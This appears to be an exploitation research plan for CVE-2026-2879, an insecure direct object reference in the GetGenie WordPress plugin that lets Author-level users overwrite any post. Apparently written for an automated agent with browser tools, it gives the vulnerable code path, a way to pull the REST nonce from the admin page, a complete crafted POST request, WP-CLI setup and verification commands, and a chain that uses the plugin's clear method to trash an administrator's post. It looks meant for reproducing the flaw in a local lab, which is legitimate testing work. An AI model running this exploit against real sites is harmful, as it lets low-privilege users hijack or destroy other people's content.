Research Plan: CVE-2026-2879 - IDOR Arbitrary Post Overwrite in GetGenie

1. Vulnerability Summary

The GetGenie plugin for WordPress (versions <= 4.3.2) is vulnerable to an Insecure Direct Object Reference (IDOR) within its REST API implementation. The endpoint getgenie/v1/geniechat/create allows authenticated users with the publish_posts capability (Author level and above) to overwrite any post on the site.

The vulnerability exists because the create() method in app/Api/GetGenieChat.php accepts a user-supplied id parameter. When this ID is provided, the plugin calls wp_update_post() with a payload that forces the post_type to getgenie_chat and the post_author to the current user, without verifying if the user has permission to edit that specific post or if the post is even a chat conversation.

2. Attack Vector Analysis

• Endpoint: /wp-json/getgenie/v1/geniechat/create
• Method: POST (The route accepts ALLMETHODS, but the logic expects a JSON body).
• Authentication Required: Author-level credentials (publish_posts capability).
• Nonce Required: Yes, a valid WordPress REST API nonce (wp_rest).
• Preconditions:
  • The attacker must be logged in as a user with the Author role or higher.
  • The attacker must know the ID of the target post they wish to overwrite (e.g., an Administrator's post or a critical Page).

3. Code Flow

1. Route Registration: In app/Api/GetGenieChat.php, the __construct method registers the route getgenie/v1/geniechat/(?P<action>[\w-]+).
2. Callback Execution: The actions() method receives the request and, for the create action, calls $this->create($request).
3. Nonce Check: create() calls wp_verify_nonce($request->get_header('X-WP-Nonce'), 'wp_rest').
4. Authorization Check: create() checks if (!is_user_logged_in() || !current_user_can('publish_posts')).
5. Vulnerable Sink:
   • The code decodes the JSON body: $req = json_decode($body);.
   • It extracts the ID: $conversation_id = $req->id ?? '';.
   • If id is present, it prepares a $record array using the supplied ID.
   • It calls wp_update_post($record), which updates the database entry for that ID, changing the post_type to getgenie_chat, the post_author to the attacker's ID, and the post_title to a generated string.

4. Nonce Acquisition Strategy

The plugin exposes the required REST nonce in a global JavaScript object named window.getGenie.

1. Trigger Script Loading: The function genie_header_script_data() is hooked to admin_head. This means the nonce is available on almost any admin dashboard page for a logged-in user.
2. Strategy:
   • Log in as the Author user.
   • Navigate to /wp-admin/index.php.
   • Use browser_eval to extract the nonce: window.getGenie?.restNonce.

5. Exploitation Strategy

Step 1: Target Identification

Identify a target post ID owned by the Administrator (e.g., Post ID 1).

Step 2: Nonce Extraction

Use the browser_navigate and browser_eval tools to obtain the nonce as the Author user.

Step 3: Execution

Send a crafted POST request to the vulnerable endpoint.

Request Details:

• URL: http://localhost:8080/wp-json/getgenie/v1/geniechat/create
• Method: POST
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

{
  "id": 1,
  "templateSlug": "pwned-post",
  "messages": [
    {
      "role": "user",
      "content": "This post has been overwritten by an IDOR vulnerability."
    }
  ]
}

6. Test Data Setup

1. Administrator Post: Ensure a post exists with ID 1 (standard WordPress default) or create a specific target:
   wp post create --post_type=post --post_title="Sensitive Admin Content" --post_status=publish --post_author=1
2. Attacker User: Create a user with the Author role:
   wp user create attacker attacker@example.com --role=author --user_pass=password

7. Expected Results

• The REST API should return a JSON response: {"status": "success", "data": {"conversation_id": 1}, "message": ["Chat updated successfully."] ...}.
• The target post (ID 1) will have its post_type changed from post to getgenie_chat.
• The target post's post_author will be changed from 1 (Admin) to the ID of the attacker user.
• The original content of the post will be effectively "deleted" or inaccessible as a regular post, as it is now a getgenie_chat object.

8. Verification Steps

After the exploit, use WP-CLI to inspect the state of the target post:

1. Check Post Type and Author:
   wp post get 1 --field=post_type (Expected: getgenie_chat)
   wp post get 1 --field=post_author (Expected: ID of the attacker user)
2. Check Meta Data:
   wp post meta get 1 getgenie_chat_template_slug (Expected: pwned-post)

9. Alternative Approaches

If the create action is restricted or fails, the plugin also includes a clear method in the same class.

• clear IDOR: In app/Api/GetGenieChat.php, the clear() method also accepts a user-controlled id. While it includes a check if (!$post || $post->post_type !== 'getgenie_chat' || (int) $post->post_author !== get_current_user_id()), an attacker could potentially chain this with the create exploit:
  1. Use create to change an Admin post to getgenie_chat and steal ownership.
  2. Use clear to permanently delete (trash) that post ID now that the ownership check passes.